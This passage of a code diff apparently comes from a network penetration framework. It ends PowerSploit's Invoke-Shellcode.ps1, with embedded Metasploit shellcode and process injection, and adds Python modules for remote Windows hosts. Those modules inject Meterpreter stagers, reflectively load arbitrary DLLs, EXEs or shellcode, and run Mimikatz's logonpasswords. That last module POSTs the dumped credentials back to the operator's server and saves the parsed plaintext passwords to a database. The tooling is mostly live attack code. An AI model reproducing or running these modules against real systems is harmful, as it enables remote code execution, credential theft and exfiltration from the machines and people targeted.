Throw "Unable to launch remote thread in PID: $ProcessID"
}
# Close process handle
$CloseHandle.Invoke($hProcess) | Out-Null
Write-Verbose 'Shellcode injection complete!'
}
function Local:Inject-LocalShellcode
{
if ($PowerShell32bit) {
if ($Shellcode32.Length -eq 0)
{
Throw 'No shellcode was placed in the $Shellcode32 variable!'
return
}
$Shellcode = $Shellcode32
Write-Verbose 'Using 32-bit shellcode.'
}
else
{
if ($Shellcode64.Length -eq 0)
{
Throw 'No shellcode was placed in the $Shellcode64 variable!'
return
}
$Shellcode = $Shellcode64
Write-Verbose 'Using 64-bit shellcode.'
}
# Allocate RWX memory for the shellcode
$BaseAddress = $VirtualAlloc.Invoke([IntPtr]::Zero, $Shellcode.Length + 1, 0x3000, 0x40) # (Reserve|Commit, RWX)
if (!$BaseAddress)
{
Throw "Unable to allocate shellcode memory in PID: $ProcessID"
}
Write-Verbose "Shellcode memory reserved at 0x$($BaseAddress.ToString("X$([IntPtr]::Size*2)"))"
# Copy shellcode to RWX buffer
[System.Runtime.InteropServices.Marshal]::Copy($Shellcode, 0, $BaseAddress, $Shellcode.Length)
# Get address of ExitThread function
$ExitThreadAddr = Get-ProcAddress kernel32.dll ExitThread
if ($PowerShell32bit)
{
$CallStub = Emit-CallThreadStub $BaseAddress $ExitThreadAddr 32
Write-Verbose 'Emitting 32-bit assembly call stub.'
}
else
{
$CallStub = Emit-CallThreadStub $BaseAddress $ExitThreadAddr 64
Write-Verbose 'Emitting 64-bit assembly call stub.'
}
# Allocate RWX memory for the thread call stub
$CallStubAddress = $VirtualAlloc.Invoke([IntPtr]::Zero, $CallStub.Length + 1, 0x3000, 0x40) # (Reserve|Commit, RWX)
if (!$CallStubAddress)
{
Throw "Unable to allocate thread call stub."
}
Write-Verbose "Thread call stub memory reserved at 0x$($CallStubAddress.ToString("X$([IntPtr]::Size*2)"))"
# Copy call stub to RWX buffer
[System.Runtime.InteropServices.Marshal]::Copy($CallStub, 0, $CallStubAddress, $CallStub.Length)
# Launch shellcode in it's own thread
$ThreadHandle = $CreateThread.Invoke([IntPtr]::Zero, 0, $CallStubAddress, $BaseAddress, 0, [IntPtr]::Zero)
if (!$ThreadHandle)
{
Throw "Unable to launch thread."
}
# Wait for shellcode thread to terminate
$WaitForSingleObject.Invoke($ThreadHandle, 0xFFFFFFFF) | Out-Null
$VirtualFree.Invoke($CallStubAddress, $CallStub.Length + 1, 0x8000) | Out-Null # MEM_RELEASE (0x8000)
$VirtualFree.Invoke($BaseAddress, $Shellcode.Length + 1, 0x8000) | Out-Null # MEM_RELEASE (0x8000)
Write-Verbose 'Shellcode injection complete!'
}
# A valid pointer to IsWow64Process will be returned if CPU is 64-bit
$IsWow64ProcessAddr = Get-ProcAddress kernel32.dll IsWow64Process
$AddressWidth = $null
try {
$AddressWidth = @(Get-WmiObject -Query 'SELECT AddressWidth FROM Win32_Processor')[0] | Select-Object -ExpandProperty AddressWidth
} catch {
throw 'Unable to determine OS processor address width.'
}
switch ($AddressWidth) {
'32' {
$64bitOS = $False
}
'64' {
$64bitOS = $True
$IsWow64ProcessDelegate = Get-DelegateType @([IntPtr], [Bool].MakeByRefType()) ([Bool])
$IsWow64Process = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($IsWow64ProcessAddr, $IsWow64ProcessDelegate)
}
default {
throw 'Invalid OS address width detected.'
}
}
if ([IntPtr]::Size -eq 4)
{
$PowerShell32bit = $true
}
else
{
$PowerShell32bit = $false
}
if ($PSBoundParameters['Shellcode'])
{
# Users passing in shellcode through the '-Shellcode' parameter are responsible for ensuring it targets
# the correct architechture - x86 vs. x64. This script has no way to validate what you provide it.
[Byte[]] $Shellcode32 = $Shellcode
[Byte[]] $Shellcode64 = $Shellcode32
}
else
{
# Pop a calc... or whatever shellcode you decide to place in here
# I sincerely hope you trust that this shellcode actually pops a calc...
# Insert your shellcode here in the for 0xXX,0xXX,...
# 32-bit payload
# msfpayload windows/exec CMD="cmd /k calc" EXITFUNC=thread
[Byte[]] $Shellcode32 = @(0xfc,0xe8,0x89,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xd2,0x64,0x8b,0x52,0x30,0x8b,
0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0x31,0xc0,
0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf0,0x52,0x57,
0x8b,0x52,0x10,0x8b,0x42,0x3c,0x01,0xd0,0x8b,0x40,0x78,0x85,0xc0,0x74,0x4a,0x01,
0xd0,0x50,0x8b,0x48,0x18,0x8b,0x58,0x20,0x01,0xd3,0xe3,0x3c,0x49,0x8b,0x34,0x8b,
0x01,0xd6,0x31,0xff,0x31,0xc0,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf4,
0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe2,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,
0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,
0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x58,0x5f,0x5a,0x8b,0x12,0xeb,0x86,0x5d,
0x6a,0x01,0x8d,0x85,0xb9,0x00,0x00,0x00,0x50,0x68,0x31,0x8b,0x6f,0x87,0xff,0xd5,
0xbb,0xe0,0x1d,0x2a,0x0a,0x68,0xa6,0x95,0xbd,0x9d,0xff,0xd5,0x3c,0x06,0x7c,0x0a,
0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,0x13,0x72,0x6f,0x6a,0x00,0x53,0xff,0xd5,0x63,
0x61,0x6c,0x63,0x00)
# 64-bit payload
# msfpayload windows/x64/exec CMD="calc" EXITFUNC=thread
[Byte[]] $Shellcode64 = @(0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x51,
0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,0x8b,0x52,
0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,0x48,0x31,0xc0,
0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0xe2,0xed,
0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x8b,0x80,0x88,
0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,0xd0,0x50,0x8b,0x48,0x18,0x44,
0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x48,0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,
0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,
0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,0x24,0x08,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44,
0x8b,0x40,0x24,0x49,0x01,0xd0,0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,
0x01,0xd0,0x41,0x8b,0x04,0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,
0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,
0x59,0x5a,0x48,0x8b,0x12,0xe9,0x57,0xff,0xff,0xff,0x5d,0x48,0xba,0x01,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x48,0x8d,0x8d,0x01,0x01,0x00,0x00,0x41,0xba,0x31,0x8b,
0x6f,0x87,0xff,0xd5,0xbb,0xe0,0x1d,0x2a,0x0a,0x41,0xba,0xa6,0x95,0xbd,0x9d,0xff,
0xd5,0x48,0x83,0xc4,0x28,0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,
0x13,0x72,0x6f,0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5,0x63,0x61,0x6c,0x63,0x00)
}
if ( $PSBoundParameters['ProcessID'] )
{
# Inject shellcode into the specified process ID
$OpenProcessAddr = Get-ProcAddress kernel32.dll OpenProcess
$OpenProcessDelegate = Get-DelegateType @([UInt32], [Bool], [UInt32]) ([IntPtr])
$OpenProcess = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenProcessAddr, $OpenProcessDelegate)
$VirtualAllocExAddr = Get-ProcAddress kernel32.dll VirtualAllocEx
$VirtualAllocExDelegate = Get-DelegateType @([IntPtr], [IntPtr], [Uint32], [UInt32], [UInt32]) ([IntPtr])
$VirtualAllocEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualAllocExAddr, $VirtualAllocExDelegate)
$WriteProcessMemoryAddr = Get-ProcAddress kernel32.dll WriteProcessMemory
$WriteProcessMemoryDelegate = Get-DelegateType @([IntPtr], [IntPtr], [Byte[]], [UInt32], [UInt32].MakeByRefType()) ([Bool])
$WriteProcessMemory = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WriteProcessMemoryAddr, $WriteProcessMemoryDelegate)
$CreateRemoteThreadAddr = Get-ProcAddress kernel32.dll CreateRemoteThread
$CreateRemoteThreadDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr])
$CreateRemoteThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateRemoteThreadAddr, $CreateRemoteThreadDelegate)
$CloseHandleAddr = Get-ProcAddress kernel32.dll CloseHandle
$CloseHandleDelegate = Get-DelegateType @([IntPtr]) ([Bool])
$CloseHandle = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CloseHandleAddr, $CloseHandleDelegate)
Write-Verbose "Injecting shellcode into PID: $ProcessId"
if ( $Force -or $psCmdlet.ShouldContinue( 'Do you wish to carry out your evil plans?',
"Injecting shellcode injecting into $((Get-Process -Id $ProcessId).ProcessName) ($ProcessId)!" ) )
{
Inject-RemoteShellcode $ProcessId
}
}
else
{
# Inject shellcode into the currently running PowerShell process
$VirtualAllocAddr = Get-ProcAddress kernel32.dll VirtualAlloc
$VirtualAllocDelegate = Get-DelegateType @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr])
$VirtualAlloc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualAllocAddr, $VirtualAllocDelegate)
$VirtualFreeAddr = Get-ProcAddress kernel32.dll VirtualFree
$VirtualFreeDelegate = Get-DelegateType @([IntPtr], [Uint32], [UInt32]) ([Bool])
$VirtualFree = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualFreeAddr, $VirtualFreeDelegate)
$CreateThreadAddr = Get-ProcAddress kernel32.dll CreateThread
$CreateThreadDelegate = Get-DelegateType @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr])
$CreateThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateThreadAddr, $CreateThreadDelegate)
$WaitForSingleObjectAddr = Get-ProcAddress kernel32.dll WaitForSingleObject
$WaitForSingleObjectDelegate = Get-DelegateType @([IntPtr], [Int32]) ([Int])
$WaitForSingleObject = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WaitForSingleObjectAddr, $WaitForSingleObjectDelegate)
Write-Verbose "Injecting shellcode into PowerShell"
if ( $Force -or $psCmdlet.ShouldContinue( 'Do you wish to carry out your evil plans?',
"Injecting shellcode into the running PowerShell process!" ) )
{
Inject-LocalShellcode
}
}
}

File diff suppressed because it is too large Load Diff

File diff suppressed because it is too large Load Diff

View File

@ -0,0 +1,84 @@
from core.helpers import gen_random_string, create_ps_command, obfs_ps_script
from sys import exit
class CMEModule:
'''
Downloads the Meterpreter stager and injects it into memory using PowerSploit's Invoke-Shellcode.ps1 script
Module by @byt3bl33d3r
'''
name = 'MetInject'
def options(self, context, module_options):
'''
LHOST IP hosting the handler
LPORT Handler port
PAYLOAD Payload to inject: reverse_http or reverse_https (default: reverse_https)
PROCID Process ID to inject into (default: current powershell process)
'''
if not 'LHOST' in module_options or not 'LPORT' in module_options:
context.log.error('LHOST and LPORT options are required!')
exit(1)
self.met_payload = 'reverse_https'
self.lhost = None
self.lport = None
self.procid = None
if 'PAYLOAD' in module_options:
self.met_payload = module_options['PAYLOAD']
if 'PROCID' in module_options:
self.procid = module_options['PROCID']
self.lhost = module_options['LHOST']
self.lport = module_options['LPORT']
self.obfs_name = gen_random_string()
def on_admin_login(self, context, connection):
#PowerSploit's 3.0 update removed the Meterpreter injection options in Invoke-Shellcode
#so now we have to manually generate a valid Meterpreter request URL and download + exec the staged shellcode
payload = """
IEX (New-Object Net.WebClient).DownloadString('{}://{}:{}/Invoke-Shellcode.ps1')
$CharArray = 48..57 + 65..90 + 97..122 | ForEach-Object {{[Char]$_}}
$SumTest = $False
while ($SumTest -eq $False)
{{
$GeneratedUri = $CharArray | Get-Random -Count 4
$SumTest = (([int[]] $GeneratedUri | Measure-Object -Sum).Sum % 0x100 -eq 92)
}}
$RequestUri = -join $GeneratedUri
$Request = "{}://{}:{}/$($RequestUri)"
$WebClient = New-Object System.Net.WebClient
[Byte[]]$bytes = $WebClient.DownloadData($Request)
Invoke-{} -Force -Shellcode $bytes""".format(context.server,
context.localip,
context.server_port,
'http' if self.met_payload == 'reverse_http' else 'https',
self.lhost,
self.lport,
self.obfs_name)
if self.procid:
payload += " -ProcessID {}".format(self.procid)
context.log.debug('Payload:{}'.format(payload))
payload = create_ps_command(payload, force_ps32=True)
connection.execute(payload)
context.log.success('Executed payload')
def on_request(self, context, request):
if 'Invoke-Shellcode.ps1' == request.path[1:]:
request.send_response(200)
request.end_headers()
with open('data/PowerSploit/CodeExecution/Invoke-Shellcode.ps1', 'r') as ps_script:
ps_script = obfs_ps_script(ps_script.read(), self.obfs_name)
request.wfile.write(ps_script)
request.stop_tracking_host()
else:
request.send_response(404)
request.end_headers()

View File

@ -0,0 +1,82 @@
from core.helpers import gen_random_string, create_ps_command, obfs_ps_script
from sys import exit
import os
class CMEModule:
'''
Downloads the specified DLL/EXE and injects it into memory using PowerSploit's Invoke-ReflectivePEInjection.ps1 script
Module by @byt3bl33d3r
'''
name = 'PEInject'
def options(self, context, module_options):
'''
PATH Path to dll/exe to inject
PROCID Process ID to inject into (default: current powershell process)
EXEARGS Arguments to pass to the executable being reflectively loaded (default: None)
'''
if not 'PATH' in module_options:
context.log.error('PATH option is required!')
exit(1)
self.payload_path = os.path.expanduser(module_options['PATH'])
if not os.path.exists(self.payload_path):
context.log.error('Invalid path to EXE/DLL!')
exit(1)
self.procid = None
self.exeargs = None
if 'PROCID' in module_options:
self.procid = module_options['PROCID']
if 'EXEARGS' in module_options:
self.exeargs = module_options['EXEARGS']
self.obfs_name = gen_random_string()
def on_admin_login(self, context, connection):
payload = """
IEX (New-Object Net.WebClient).DownloadString('{server}://{addr}:{port}/Invoke-ReflectivePEInjection.ps1');
$WebClient = New-Object System.Net.WebClient;
[Byte[]]$bytes = $WebClient.DownloadData('{server}://{addr}:{port}/{pefile}');
Invoke-{func_name} -PEBytes $bytes""".format(server=context.server,
port=context.server_port,
addr=context.localip,
func_name=self.obfs_name,
pefile=os.path.basename(self.payload_path))
if self.procid:
payload += ' -ProcessID {}'.format(self.procid)
if self.exeargs:
payload += ' -ExeArgs "{}"'.format(self.exeargs)
context.log.debug('Payload:{}'.format(payload))
payload = create_ps_command(payload, force_ps32=True)
connection.execute(payload)
context.log.success('Executed payload')
def on_request(self, context, request):
if 'Invoke-ReflectivePEInjection.ps1' == request.path[1:]:
request.send_response(200)
request.end_headers()
with open('data/PowerSploit/CodeExecution/Invoke-ReflectivePEInjection.ps1', 'r') as ps_script:
ps_script = obfs_ps_script(ps_script.read(), self.obfs_name)
request.wfile.write(ps_script)
elif os.path.basename(self.payload_path) == request.path[1:]:
request.send_response(200)
request.end_headers()
with open(self.payload_path, 'rb') as payload:
request.wfile.write(payload.read())
request.stop_tracking_host()
else:
request.send_response(404)
request.end_headers()

View File

@ -0,0 +1,75 @@
import os
from core.helpers import gen_random_string, create_ps_command, obfs_ps_script
from sys import exit
class CMEModule:
'''
Downloads the specified raw shellcode and injects it into memory using PowerSploit's Invoke-Shellcode.ps1 script
Module by @byt3bl33d3r
'''
name = 'ShellInject'
def options(self, context, module_options):
'''
PATH Path to the raw shellcode to inject
PROCID Process ID to inject into (default: current powershell process)
'''
if not 'PATH' in module_options:
context.log.error('PATH option is required!')
exit(1)
self.shellcode_path = os.path.expanduser(module_options['PATH'])
if not os.path.exists(self.shellcode_path):
context.log.error('Invalid path to shellcode!')
exit(1)
self.procid = None
if 'PROCID' in module_options.keys():
self.procid = module_options['PROCID']
self.obfs_name = gen_random_string()
def on_admin_login(self, context, connection):
payload = """
IEX (New-Object Net.WebClient).DownloadString('{server}://{addr}:{port}/Invoke-Shellcode.ps1');
$WebClient = New-Object System.Net.WebClient;
[Byte[]]$bytes = $WebClient.DownloadData('{server}://{addr}:{port}/{shellcode}');
Invoke-{func_name} -Force -Shellcode $bytes""".format(server=context.server,
port=context.server_port,
addr=context.localip,
func_name=self.obfs_name,
shellcode=os.path.basename(self.shellcode_path))
if self.procid:
payload += ' -ProcessID {}'.format(self.procid)
context.log.debug('Payload:{}'.format(payload))
payload = create_ps_command(payload, force_ps32=True)
connection.execute(payload)
context.log.success('Executed payload')
def on_request(self, context, request):
if 'Invoke-Shellcode.ps1' == request.path[1:]:
request.send_response(200)
request.end_headers()
with open('data/PowerSploit/CodeExecution/Invoke-Shellcode.ps1' ,'r') as ps_script:
ps_script = obfs_ps_script(ps_script.read(), self.obfs_name)
request.wfile.write(ps_script)
elif os.path.basename(self.shellcode_path) == request.path[1:]:
request.send_response(200)
request.end_headers()
with open(self.shellcode_path, 'rb') as shellcode:
request.wfile.write(shellcode.read())
#Target has the shellcode, stop tracking the host
request.stop_tracking_host()
else:
request.send_response(404)
request.end_headers()

View File

@ -0,0 +1,100 @@
from core.helpers import create_ps_command, obfs_ps_script, gen_random_string
from datetime import datetime
from StringIO import StringIO
class CMEModule:
'''
Executes PowerSploit's Invoke-Mimikatz.ps1 script
Module by @byt3bl33d3r
'''
name = 'Mimikatz'
def options(self, context, module_options):
'''
COMMAND Mimikatz command to execute
'''
self.mimikatz_command = 'privilege::debug sekurlsa::logonpasswords exit'
if module_options and 'COMMAND' in module_options:
self.mimikatz_command = module_options['COMMAND']
#context.log.debug("Mimikatz command: '{}'".format(self.mimikatz_command))
self.obfs_name = gen_random_string()
def on_admin_login(self, context, connection):
payload = '''
IEX (New-Object Net.WebClient).DownloadString('{server}://{addr}:{port}/Invoke-Mimikatz.ps1');
$creds = Invoke-{func_name} -Command '{command}';
$request = [System.Net.WebRequest]::Create('{server}://{addr}:{port}/');
$request.Method = 'POST';
$request.ContentType = 'application/x-www-form-urlencoded';
$bytes = [System.Text.Encoding]::ASCII.GetBytes($creds);
$request.ContentLength = $bytes.Length;
$requestStream = $request.GetRequestStream();
$requestStream.Write( $bytes, 0, $bytes.Length );
$requestStream.Close();
$request.GetResponse();'''.format(server=context.server,
port=context.server_port,
addr=context.localip,
func_name=self.obfs_name,
command=self.mimikatz_command)
context.log.debug('Payload: {}'.format(payload))
payload = create_ps_command(payload)
connection.execute(payload)
context.log.success('Executed payload')
def on_request(self, context, request):
if 'Invoke-Mimikatz.ps1' == request.path[1:]:
request.send_response(200)
request.end_headers()
with open('data/PowerSploit/Exfiltration/Invoke-Mimikatz.ps1', 'r') as ps_script:
ps_script = obfs_ps_script(ps_script.read(), self.obfs_name)
request.wfile.write(ps_script)
else:
request.send_response(404)
request.end_headers()
def on_response(self, context, response):
response.send_response(200)
response.end_headers()
length = int(response.headers.getheader('content-length'))
data = response.rfile.read(length)
#We've received the response, stop tracking this host
response.stop_tracking_host()
#No reason to parse for passwords if we didn't run the default command
if 'sekurlsa::logonpasswords' in self.mimikatz_command:
buf = StringIO(data).readlines()
plaintext_creds = []
i = 0
while i < len(buf):
if ('Password' in buf[i]) and ('(null)' not in buf[i]):
passw = buf[i].split(':')[1].strip()
domain = buf[i-1].split(':')[1].strip().upper()
user = buf[i-2].split(':')[1].strip().lower()
#Dont parse machine accounts
if not user[-1:] == '$':
context.db.add_credential('plaintext', domain, user, passw)
plaintext_creds.append('{}\\{}:{}'.format(domain, user, passw))
i += 1
if plaintext_creds:
context.log.success('Found plain text credentials (domain\\user:password)')
for cred in plaintext_creds:
context.log.highlight(cred)
log_name = 'Mimikatz-{}-{}.log'.format(response.client_address[0], datetime.now().strftime("%Y-%m-%d_%H%M%S"))
with open('logs/' + log_name, 'w') as mimikatz_output:
mimikatz_output.write(data)
context.log.info("Saved Mimikatz's output to {}".format(log_name))

28
modules/example_module.py Normal file
View File

@ -0,0 +1,28 @@
class CMEModule:
'''
Example
Module by @yomama
'''
name = 'Example'
def options(self, context, args):
'''Required. Module options get parsed here. Additionally, put the modules usage here as well'''
pass
def on_login(self, context, connection):
'''Concurrent. Required if on_admin_login is not present. This gets called on each authenticated connection'''
pass
def on_admin_login(self, context, connection):
'''Concurrent. Required if on_login is not present. This gets called on each authenticated connection with Administrative privileges'''
pass
def on_request(self, context, request):
'''Optional. If the payload needs to retrieve additonal files, add this function to the module'''
pass
def on_response(self, context, response):
'''Optional. If the payload sends back its output to our server, add this function to the module to handle its output'''
pass

View File

@ -1,4 +1,4 @@
git+git://github.com/CoreSecurity/impacket
git+https://github.com/CoreSecurity/impacket
gevent
netaddr
pycrypto

3
setup/gen-self-signed-cert.sh Executable file
View File

@ -0,0 +1,3 @@
#!/bin/bash
openssl req -new -x509 -keyout ../data/cme.pem -out ../data/cme.pem -days 365 -nodes -subj "/C=US"
echo -e "\n\n [*] Certificate written to ../data/cme.pem\n"

31
setup/setup_database.py Executable file
View File

@ -0,0 +1,31 @@
import sqlite3
conn = sqlite3.connect('../data/cme.db')
c = conn.cursor()
# try to prevent some of the weird sqlite I/O errors
c.execute('PRAGMA journal_mode = OFF')
c.execute('''CREATE TABLE "hosts" (
"id" integer PRIMARY KEY,
"ip" text,
"hostname" text,
"domain" test,
"os" text
)''')
# type = hash, plaintext
c.execute('''CREATE TABLE "credentials" (
"id" integer PRIMARY KEY,
"credtype" text,
"domain" text,
"username" text,
"password" text
)''')
# commit the changes and close everything off
conn.commit()
conn.close()
print "[*] Database setup completed!"